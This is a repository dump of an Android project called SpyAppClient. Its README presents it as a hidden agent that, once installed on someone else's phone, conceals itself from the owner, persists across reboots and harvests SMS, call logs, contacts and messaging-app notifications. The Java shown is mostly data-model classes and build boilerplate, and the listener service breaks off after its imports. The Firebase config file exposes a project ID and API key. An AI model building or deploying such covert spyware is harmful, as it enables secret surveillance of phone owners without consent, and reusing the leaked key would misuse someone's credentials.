├── app
├── .gitignore
├── src
│ ├── main
│ │ ├── res
│ │ │ ├── drawable
│ │ │ │ ├── facebook_logo.png
│ │ │ │ ├── whatsapp_logo.png
│ │ │ │ ├── instagram_logo.png
│ │ │ │ ├── notification_logo.png
│ │ │ │ ├── other_notification_logo.jpg
│ │ │ │ └── ic_launcher_background.xml
│ │ │ ├── mipmap-hdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-mdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xhdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xxhdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── mipmap-xxxhdpi
│ │ │ │ ├── ic_launcher.png
│ │ │ │ └── ic_launcher_round.png
│ │ │ ├── values
│ │ │ │ ├── colors.xml
│ │ │ │ ├── styles.xml
│ │ │ │ └── strings.xml
│ │ │ ├── mipmap-anydpi-v26
│ │ │ │ ├── ic_launcher.xml
│ │ │ │ └── ic_launcher_round.xml
│ │ │ ├── layout
│ │ │ │ └── activity_main.xml
│ │ │ └── drawable-v24
│ │ │ │ └── ic_launcher_foreground.xml
│ │ ├── java
│ │ │ └── com
│ │ │ │ └── example
│ │ │ │ └── ghazi
│ │ │ │ └── sms
│ │ │ │ ├── Sms.java
│ │ │ │ ├── Contact.java
│ │ │ │ ├── CallLog.java
│ │ │ │ ├── Notification.java
│ │ │ │ ├── NotificationListenerExampleService.java
│ │ │ │ ├── MyService.java
│ │ │ │ └── MainActivity.java
│ │ └── AndroidManifest.xml
│ ├── test
│ │ └── java
│ │ │ └── com
│ │ │ └── example
│ │ │ └── ghazi
│ │ │ └── sms
│ │ │ └── ExampleUnitTest.java
│ └── androidTest
│ │ └── java
│ │ └── com
│ │ └── example
│ │ └── ghazi
│ │ └── sms
│ │ └── ExampleInstrumentedTest.java
├── proguard-rules.pro
├── build.gradle
└── google-services.json
├── settings.gradle
├── gradle
└── wrapper
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── .gitignore
├── .idea
├── modules.xml
├── runConfigurations.xml
├── gradle.xml
└── misc.xml
├── README.md
├── gradle.properties
├── gradlew.bat
└── gradlew
/app/.gitignore:
--------------------------------------------------------------------------------
1 | /build
2 |
--------------------------------------------------------------------------------
/settings.gradle:
--------------------------------------------------------------------------------
1 | include ':app'
2 |
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/app/src/main/res/drawable/facebook_logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/drawable/facebook_logo.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/whatsapp_logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/drawable/whatsapp_logo.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/instagram_logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/drawable/instagram_logo.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/mipmap-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/mipmap-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/mipmap-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/notification_logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/drawable/notification_logo.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/mipmap-hdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/mipmap-mdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/other_notification_logo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/drawable/other_notification_logo.jpg
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ghazikr/SpyAppClient/HEAD/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | *.iml
2 | .gradle
3 | /local.properties
4 | /.idea/workspace.xml
5 | /.idea/libraries
6 | .DS_Store
7 | /build
8 | /captures
9 | .externalNativeBuild
10 |
--------------------------------------------------------------------------------
/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #3F51B5
4 | #303F9F
5 | #FF4081
6 |
7 |
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #Fri Nov 24 17:53:38 WAT 2017
2 | distributionBase=GRADLE_USER_HOME
3 | distributionPath=wrapper/dists
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 | distributionUrl=https\://services.gradle.org/distributions/gradle-4.1-all.zip
7 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/app/src/main/res/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/app/src/test/java/com/example/ghazi/sms/ExampleUnitTest.java:
--------------------------------------------------------------------------------
1 | package com.example.ghazi.sms;
2 |
3 | import org.junit.Test;
4 |
5 | import static org.junit.Assert.*;
6 |
7 | /**
8 | * Example local unit test, which will execute on the development machine (host).
9 | *
10 | * @see Testing documentation
11 | */
12 | public class ExampleUnitTest {
13 | @Test
14 | public void addition_isCorrect() throws Exception {
15 | assertEquals(4, 2 + 2);
16 | }
17 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SpyAppClient
2 | This application is an agent that is installed in the android phone that we want to monitor
3 | Once installed, and after we click on the "hide me" button the agent will be working on background and it won't be visible for the phone owner
4 | The agent will keep working even after restarting the phone
5 |
6 | ## Features :
7 | Notification Listener and broadcast receiver; Facebook messages, emails, Instagram messages, Instagram etc...
8 | List call logs, contacts list, received sms, sent sms ...
9 | ### Firebase Database
10 |
11 |
12 |
--------------------------------------------------------------------------------
/.idea/runConfigurations.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
11 |
12 |
--------------------------------------------------------------------------------
/.idea/gradle.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/app/src/main/java/com/example/ghazi/sms/Sms.java:
--------------------------------------------------------------------------------
1 | package com.example.ghazi.sms;
2 |
3 | /**
4 | * Created by ghazi on 25-Nov-17.
5 | */
6 |
7 | public class Sms {
8 | private String address;
9 | private String body;
10 |
11 | public Sms(String address, String body) {
12 | this.address = address;
13 | this.body = body;
14 | }
15 |
16 | public String getAddress() {
17 | return address;
18 | }
19 |
20 | public void setAddress(String address) {
21 | this.address = address;
22 | }
23 |
24 | public String getBody() {
25 | return body;
26 | }
27 |
28 | public void setBody(String body) {
29 | this.body = body;
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/app/src/main/java/com/example/ghazi/sms/Contact.java:
--------------------------------------------------------------------------------
1 | package com.example.ghazi.sms;
2 |
3 | /**
4 | * Created by ghazi on 25-Nov-17.
5 | */
6 |
7 | public class Contact {
8 | private String name;
9 | private String phoneNumber;
10 |
11 | public Contact(String name, String phoneNumber) {
12 | this.name = name;
13 | this.phoneNumber = phoneNumber;
14 | }
15 |
16 | public String getName() {
17 | return name;
18 | }
19 |
20 | public void setName(String name) {
21 | this.name = name;
22 | }
23 |
24 | public String getPhoneNumber() {
25 | return phoneNumber;
26 | }
27 |
28 | public void setPhoneNumber(String phoneNumber) {
29 | this.phoneNumber = phoneNumber;
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/gradle.properties:
--------------------------------------------------------------------------------
1 | # Project-wide Gradle settings.
2 |
3 | # IDE (e.g. Android Studio) users:
4 | # Gradle settings configured through the IDE *will override*
5 | # any settings specified in this file.
6 |
7 | # For more details on how to configure your build environment visit
8 | # http://www.gradle.org/docs/current/userguide/build_environment.html
9 |
10 | # Specifies the JVM arguments used for the daemon process.
11 | # The setting is particularly useful for tweaking memory settings.
12 | org.gradle.jvmargs=-Xmx1536m
13 |
14 | # When configured, Gradle will run in incubating parallel mode.
15 | # This option should only be used with decoupled projects. More details, visit
16 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
17 | # org.gradle.parallel=true
18 |
--------------------------------------------------------------------------------
/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # You can control the set of applied configuration files using the
3 | # proguardFiles setting in build.gradle.
4 | #
5 | # For more details, see
6 | # http://developer.android.com/guide/developing/tools/proguard.html
7 |
8 | # If your project uses WebView with JS, uncomment the following
9 | # and specify the fully qualified class name to the JavaScript interface
10 | # class:
11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12 | # public *;
13 | #}
14 |
15 | # Uncomment this to preserve the line number information for
16 | # debugging stack traces.
17 | #-keepattributes SourceFile,LineNumberTable
18 |
19 | # If you keep the line number information, uncomment this to
20 | # hide the original source file name.
21 | #-renamesourcefileattribute SourceFile
22 |
--------------------------------------------------------------------------------
/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | sms
3 |
4 | NotificationListenerExampleService
5 | The Image bellow will change when a Notification is intercepted
6 |
7 |
8 | Intercepted Notification Logo
9 |
10 |
11 | "Notification Listener Service"
12 | "For the the app. to work you need to enable the Notification Listener Service. Enable it now?"
13 | Yes
14 | No
15 |
16 |
--------------------------------------------------------------------------------
/app/src/androidTest/java/com/example/ghazi/sms/ExampleInstrumentedTest.java:
--------------------------------------------------------------------------------
1 | package com.example.ghazi.sms;
2 |
3 | import android.content.Context;
4 | import android.support.test.InstrumentationRegistry;
5 | import android.support.test.runner.AndroidJUnit4;
6 |
7 | import org.junit.Test;
8 | import org.junit.runner.RunWith;
9 |
10 | import static org.junit.Assert.*;
11 |
12 | /**
13 | * Instrumented test, which will execute on an Android device.
14 | *
15 | * @see Testing documentation
16 | */
17 | @RunWith(AndroidJUnit4.class)
18 | public class ExampleInstrumentedTest {
19 | @Test
20 | public void useAppContext() throws Exception {
21 | // Context of the app under test.
22 | Context appContext = InstrumentationRegistry.getTargetContext();
23 |
24 | assertEquals("com.example.ghazi.sms", appContext.getPackageName());
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/app/build.gradle:
--------------------------------------------------------------------------------
1 | apply plugin: 'com.android.application'
2 |
3 | android {
4 | compileSdkVersion 26
5 | defaultConfig {
6 | applicationId "com.example.ghazi.sms"
7 | minSdkVersion 15
8 | targetSdkVersion 26
9 | versionCode 1
10 | versionName "1.0"
11 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
12 | }
13 | buildTypes {
14 | release {
15 | minifyEnabled false
16 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
17 | }
18 | }
19 | }
20 |
21 | dependencies {
22 | implementation fileTree(dir: 'libs', include: ['*.jar'])
23 | implementation 'com.android.support:appcompat-v7:26.1.0'
24 | implementation 'com.android.support.constraint:constraint-layout:1.0.2'
25 | implementation 'com.google.firebase:firebase-auth:11.4.2'
26 | testImplementation 'junit:junit:4.12'
27 | androidTestImplementation 'com.android.support.test:runner:1.0.1'
28 | androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.1'
29 | compile 'com.google.firebase:firebase-firestore:11.4.2'
30 | }
31 |
32 |
33 | apply plugin: 'com.google.gms.google-services'
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_main.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
21 |
22 |
26 |
27 |
28 |
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/app/src/main/java/com/example/ghazi/sms/CallLog.java:
--------------------------------------------------------------------------------
1 | package com.example.ghazi.sms;
2 |
3 | import java.util.Date;
4 |
5 | /**
6 | * Created by ghazi on 25-Nov-17.
7 | */
8 |
9 | public class CallLog {
10 | private String phoneNumber;
11 | private String callType;
12 | private Date callDate;
13 | private String callDurationSeconds;
14 |
15 | public CallLog(String phoneNumber, String callType, Date callDate, String callDurationSeconds) {
16 | this.phoneNumber = phoneNumber;
17 | this.callType = callType;
18 | this.callDate = callDate;
19 | this.callDurationSeconds = callDurationSeconds;
20 | }
21 |
22 | public String getPhoneNumber() {
23 | return phoneNumber;
24 | }
25 |
26 | public void setPhoneNumber(String phoneNumber) {
27 | this.phoneNumber = phoneNumber;
28 | }
29 |
30 | public String getCallType() {
31 | return callType;
32 | }
33 |
34 | public void setCallType(String callType) {
35 | this.callType = callType;
36 | }
37 |
38 | public Date getCallDate() {
39 | return callDate;
40 | }
41 |
42 | public void setCallDate(Date callDate) {
43 | this.callDate = callDate;
44 | }
45 |
46 | public String getCallDurationSeconds() {
47 | return callDurationSeconds;
48 | }
49 |
50 | public void setCallDurationSeconds(String callDurationSeconds) {
51 | this.callDurationSeconds = callDurationSeconds;
52 | }
53 | }
54 |
--------------------------------------------------------------------------------
/app/src/main/java/com/example/ghazi/sms/Notification.java:
--------------------------------------------------------------------------------
1 | package com.example.ghazi.sms;
2 |
3 | /**
4 | * Created by ghazi on 30-Nov-17.
5 | */
6 |
7 | public class Notification {
8 | private String type,content,receivedTime,userSender;
9 |
10 | public Notification(String type, String content, String receivedTime, String userSender) {
11 | this.type = type;
12 | this.content = content;
13 | this.receivedTime = receivedTime;
14 | this.userSender = userSender;
15 | }
16 |
17 | @Override
18 | public String toString() {
19 | return "Notification{" +
20 | "type='" + type + '\'' +
21 | ", content='" + content + '\'' +
22 | ", receivedTime='" + receivedTime + '\'' +
23 | ", userSender='" + userSender + '\'' +
24 | '}';
25 | }
26 |
27 | public String getType() {
28 | return type;
29 | }
30 |
31 | public void setType(String type) {
32 | this.type = type;
33 | }
34 |
35 | public String getContent() {
36 | return content;
37 | }
38 |
39 | public void setContent(String content) {
40 | this.content = content;
41 | }
42 |
43 | public String getReceivedTime() {
44 | return receivedTime;
45 | }
46 |
47 | public void setReceivedTime(String receivedTime) {
48 | this.receivedTime = receivedTime;
49 | }
50 |
51 | public String getUserSender() {
52 | return userSender;
53 | }
54 |
55 | public void setUserSender(String userSender) {
56 | this.userSender = userSender;
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/app/google-services.json:
--------------------------------------------------------------------------------
1 | {
2 | "project_info": {
3 | "project_number": "91082552082",
4 | "firebase_url": "https://smsfirebaseproject-60952.firebaseio.com",
5 | "project_id": "smsfirebaseproject-60952",
6 | "storage_bucket": "smsfirebaseproject-60952.appspot.com"
7 | },
8 | "client": [
9 | {
10 | "client_info": {
11 | "mobilesdk_app_id": "1:91082552082:android:046e55af98d7929e",
12 | "android_client_info": {
13 | "package_name": "com.example.ghazi.sms"
14 | }
15 | },
16 | "oauth_client": [
17 | {
18 | "client_id": "91082552082-47mabjpduig0h3di0l1o24eun5jgc284.apps.googleusercontent.com",
19 | "client_type": 1,
20 | "android_info": {
21 | "package_name": "com.example.ghazi.sms",
22 | "certificate_hash": "168f1d8526db2fe648072de2d234ddf29fc70f5b"
23 | }
24 | },
25 | {
26 | "client_id": "91082552082-sgcur0jla9qdpt7ea2b0vjbaggnq827b.apps.googleusercontent.com",
27 | "client_type": 3
28 | }
29 | ],
30 | "api_key": [
31 | {
32 | "current_key": "AIzaSyBuSILlqG8j6EW9507Q6uFYUkZgYmUsA_o"
33 | }
34 | ],
35 | "services": {
36 | "analytics_service": {
37 | "status": 1
38 | },
39 | "appinvite_service": {
40 | "status": 2,
41 | "other_platform_oauth_client": [
42 | {
43 | "client_id": "91082552082-sgcur0jla9qdpt7ea2b0vjbaggnq827b.apps.googleusercontent.com",
44 | "client_type": 3
45 | }
46 | ]
47 | },
48 | "ads_service": {
49 | "status": 2
50 | }
51 | }
52 | }
53 | ],
54 | "configuration_version": "1"
55 | }
--------------------------------------------------------------------------------
/app/src/main/res/drawable-v24/ic_launcher_foreground.xml:
--------------------------------------------------------------------------------
1 |
7 |
12 |
13 |
19 |
22 |
25 |
26 |
27 |
28 |
34 |
35 |
--------------------------------------------------------------------------------
/gradlew.bat:
--------------------------------------------------------------------------------
1 | @if "%DEBUG%" == "" @echo off
2 | @rem ##########################################################################
3 | @rem
4 | @rem Gradle startup script for Windows
5 | @rem
6 | @rem ##########################################################################
7 |
8 | @rem Set local scope for the variables with windows NT shell
9 | if "%OS%"=="Windows_NT" setlocal
10 |
11 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
12 | set DEFAULT_JVM_OPTS=
13 |
14 | set DIRNAME=%~dp0
15 | if "%DIRNAME%" == "" set DIRNAME=.
16 | set APP_BASE_NAME=%~n0
17 | set APP_HOME=%DIRNAME%
18 |
19 | @rem Find java.exe
20 | if defined JAVA_HOME goto findJavaFromJavaHome
21 |
22 | set JAVA_EXE=java.exe
23 | %JAVA_EXE% -version >NUL 2>&1
24 | if "%ERRORLEVEL%" == "0" goto init
25 |
26 | echo.
27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
28 | echo.
29 | echo Please set the JAVA_HOME variable in your environment to match the
30 | echo location of your Java installation.
31 |
32 | goto fail
33 |
34 | :findJavaFromJavaHome
35 | set JAVA_HOME=%JAVA_HOME:"=%
36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
37 |
38 | if exist "%JAVA_EXE%" goto init
39 |
40 | echo.
41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
42 | echo.
43 | echo Please set the JAVA_HOME variable in your environment to match the
44 | echo location of your Java installation.
45 |
46 | goto fail
47 |
48 | :init
49 | @rem Get command-line arguments, handling Windowz variants
50 |
51 | if not "%OS%" == "Windows_NT" goto win9xME_args
52 | if "%@eval[2+2]" == "4" goto 4NT_args
53 |
54 | :win9xME_args
55 | @rem Slurp the command line arguments.
56 | set CMD_LINE_ARGS=
57 | set _SKIP=2
58 |
59 | :win9xME_args_slurp
60 | if "x%~1" == "x" goto execute
61 |
62 | set CMD_LINE_ARGS=%*
63 | goto execute
64 |
65 | :4NT_args
66 | @rem Get arguments from the 4NT Shell from JP Software
67 | set CMD_LINE_ARGS=%$
68 |
69 | :execute
70 | @rem Setup the command line
71 |
72 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
73 |
74 | @rem Execute Gradle
75 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
76 |
77 | :end
78 | @rem End local scope for the variables with windows NT shell
79 | if "%ERRORLEVEL%"=="0" goto mainEnd
80 |
81 | :fail
82 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
83 | rem the _cmd.exe /c_ return code!
84 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
85 | exit /b 1
86 |
87 | :mainEnd
88 | if "%OS%"=="Windows_NT" endlocal
89 |
90 | :omega
91 |
--------------------------------------------------------------------------------
/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
44 |
45 |
46 |
47 |
48 |
52 |
53 |
54 |
--------------------------------------------------------------------------------
/gradlew:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | ##############################################################################
4 | ##
5 | ## Gradle start up script for UN*X
6 | ##
7 | ##############################################################################
8 |
9 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
10 | DEFAULT_JVM_OPTS=""
11 |
12 | APP_NAME="Gradle"
13 | APP_BASE_NAME=`basename "$0"`
14 |
15 | # Use the maximum available, or set MAX_FD != -1 to use that value.
16 | MAX_FD="maximum"
17 |
18 | warn ( ) {
19 | echo "$*"
20 | }
21 |
22 | die ( ) {
23 | echo
24 | echo "$*"
25 | echo
26 | exit 1
27 | }
28 |
29 | # OS specific support (must be 'true' or 'false').
30 | cygwin=false
31 | msys=false
32 | darwin=false
33 | case "`uname`" in
34 | CYGWIN* )
35 | cygwin=true
36 | ;;
37 | Darwin* )
38 | darwin=true
39 | ;;
40 | MINGW* )
41 | msys=true
42 | ;;
43 | esac
44 |
45 | # Attempt to set APP_HOME
46 | # Resolve links: $0 may be a link
47 | PRG="$0"
48 | # Need this for relative symlinks.
49 | while [ -h "$PRG" ] ; do
50 | ls=`ls -ld "$PRG"`
51 | link=`expr "$ls" : '.*-> \(.*\)$'`
52 | if expr "$link" : '/.*' > /dev/null; then
53 | PRG="$link"
54 | else
55 | PRG=`dirname "$PRG"`"/$link"
56 | fi
57 | done
58 | SAVED="`pwd`"
59 | cd "`dirname \"$PRG\"`/" >/dev/null
60 | APP_HOME="`pwd -P`"
61 | cd "$SAVED" >/dev/null
62 |
63 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
64 |
65 | # Determine the Java command to use to start the JVM.
66 | if [ -n "$JAVA_HOME" ] ; then
67 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
68 | # IBM's JDK on AIX uses strange locations for the executables
69 | JAVACMD="$JAVA_HOME/jre/sh/java"
70 | else
71 | JAVACMD="$JAVA_HOME/bin/java"
72 | fi
73 | if [ ! -x "$JAVACMD" ] ; then
74 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
75 |
76 | Please set the JAVA_HOME variable in your environment to match the
77 | location of your Java installation."
78 | fi
79 | else
80 | JAVACMD="java"
81 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
82 |
83 | Please set the JAVA_HOME variable in your environment to match the
84 | location of your Java installation."
85 | fi
86 |
87 | # Increase the maximum file descriptors if we can.
88 | if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then
89 | MAX_FD_LIMIT=`ulimit -H -n`
90 | if [ $? -eq 0 ] ; then
91 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
92 | MAX_FD="$MAX_FD_LIMIT"
93 | fi
94 | ulimit -n $MAX_FD
95 | if [ $? -ne 0 ] ; then
96 | warn "Could not set maximum file descriptor limit: $MAX_FD"
97 | fi
98 | else
99 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
100 | fi
101 | fi
102 |
103 | # For Darwin, add options to specify how the application appears in the dock
104 | if $darwin; then
105 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
106 | fi
107 |
108 | # For Cygwin, switch paths to Windows format before running java
109 | if $cygwin ; then
110 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
111 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
112 | JAVACMD=`cygpath --unix "$JAVACMD"`
113 |
114 | # We build the pattern for arguments to be converted via cygpath
115 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
116 | SEP=""
117 | for dir in $ROOTDIRSRAW ; do
118 | ROOTDIRS="$ROOTDIRS$SEP$dir"
119 | SEP="|"
120 | done
121 | OURCYGPATTERN="(^($ROOTDIRS))"
122 | # Add a user-defined pattern to the cygpath arguments
123 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
124 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
125 | fi
126 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
127 | i=0
128 | for arg in "$@" ; do
129 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
130 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
131 |
132 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
133 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
134 | else
135 | eval `echo args$i`="\"$arg\""
136 | fi
137 | i=$((i+1))
138 | done
139 | case $i in
140 | (0) set -- ;;
141 | (1) set -- "$args0" ;;
142 | (2) set -- "$args0" "$args1" ;;
143 | (3) set -- "$args0" "$args1" "$args2" ;;
144 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;;
145 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
146 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
147 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
148 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
149 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
150 | esac
151 | fi
152 |
153 | # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules
154 | function splitJvmOpts() {
155 | JVM_OPTS=("$@")
156 | }
157 | eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS
158 | JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME"
159 |
160 | exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
161 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_launcher_background.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
10 |
15 |
20 |
25 |
30 |
35 |
40 |
45 |
50 |
55 |
60 |
65 |
70 |
75 |
80 |
85 |
90 |
95 |
100 |
105 |
110 |
115 |
120 |
125 |
130 |
135 |
140 |
145 |
150 |
155 |
160 |
165 |
170 |
171 |
--------------------------------------------------------------------------------
/app/src/main/java/com/example/ghazi/sms/NotificationListenerExampleService.java:
--------------------------------------------------------------------------------
1 | package com.example.ghazi.sms;
2 |
3 | import android.app.Activity;
4 | import android.content.Intent;
5 | import android.os.Build;
6 | import android.os.Bundle;
7 | import android.os.IBinder;
8 | import android.service.notification.NotificationListenerService;
9 | import android.service.notification.StatusBarNotification;
10 | import android.support.annotation.NonNull;
11 | import android.support.annotation.RequiresApi;
12 | import android.support.annotation.WorkerThread;
13 | import android.util.Log;
14 | import android.widget.Toast;
15 |
16 | import com.google.android.gms.tasks.OnCompleteListener;
17 | import com.google.android.gms.tasks.OnSuccessListener;
18 | import com.google.android.gms.tasks.Task;
